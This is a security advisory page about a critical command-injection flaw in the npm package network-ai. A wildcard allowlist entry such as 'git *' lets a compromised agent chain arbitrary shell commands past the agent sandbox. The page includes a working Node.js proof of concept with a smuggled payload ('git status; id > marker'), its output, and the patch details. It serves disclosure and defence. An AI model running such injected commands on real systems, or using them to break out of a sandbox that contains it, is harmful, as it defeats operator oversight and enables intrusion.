GHSA-qw6v-5fcf-5666
CRITICALGHSA-qw6v-5fcf-5666 is a critical-severity (CVSS 9.9) OS Command Injection vulnerability in network-ai. O3 Security confirms whether GHSA-qw6v-5fcf-5666 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Network-AI: Improper Neutralization of Special Elements used in an OS Command
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qw6v-5fcf-5666.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qw6v-5fcf-5666 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
network-ainpmDescription
Summary
The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.
Root cause
Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).
isCommandAllowedmatches the full string, with no tokenizing and no metacharacter check:
globMatchcompiles*to.*and anchors it, sogit *becomes^git .*$and matchesgit status; id:
ShellExecutor.executeonly checksisCommandAllowed, neverrequiresApproval:
spawnCommandruns the approved string via/bin/sh -c, so;,|and$(...)are interpreted by the shell:
Reachability
Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.
PoC
Installs [email protected], allows git *, then runs git status; id > marker.
The allowlist accepts it and the injected id runs.
Run: npm i [email protected] && node poc-316.js
'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');
(async () => {
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
const marker = path.join(base, 'PWNED-316.txt');
const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
const sh = new ShellExecutor(policy);
const payload = `git status; id > ${marker}; echo INJECTED`;
console.log('version:', require('network-ai/package.json').version);
console.log('allowed:', policy.isCommandAllowed(payload));
await sh.execute(payload);
const ran = fs.existsSync(marker);
console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
console.log(ran ? 'VULNERABLE' : 'not reproduced');
process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });
Output:
version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE
Impact
Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.
Possible fix
Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.
Patch
Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.
Remediation: upgrade to [email protected] or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | network-ai | all versions | 5.9.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for network-ai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update network-ai to 5.9.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qw6v-5fcf-5666 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qw6v-5fcf-5666 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qw6v-5fcf-5666. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qw6v-5fcf-5666 in your dependencies?
O3 detects GHSA-qw6v-5fcf-5666 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.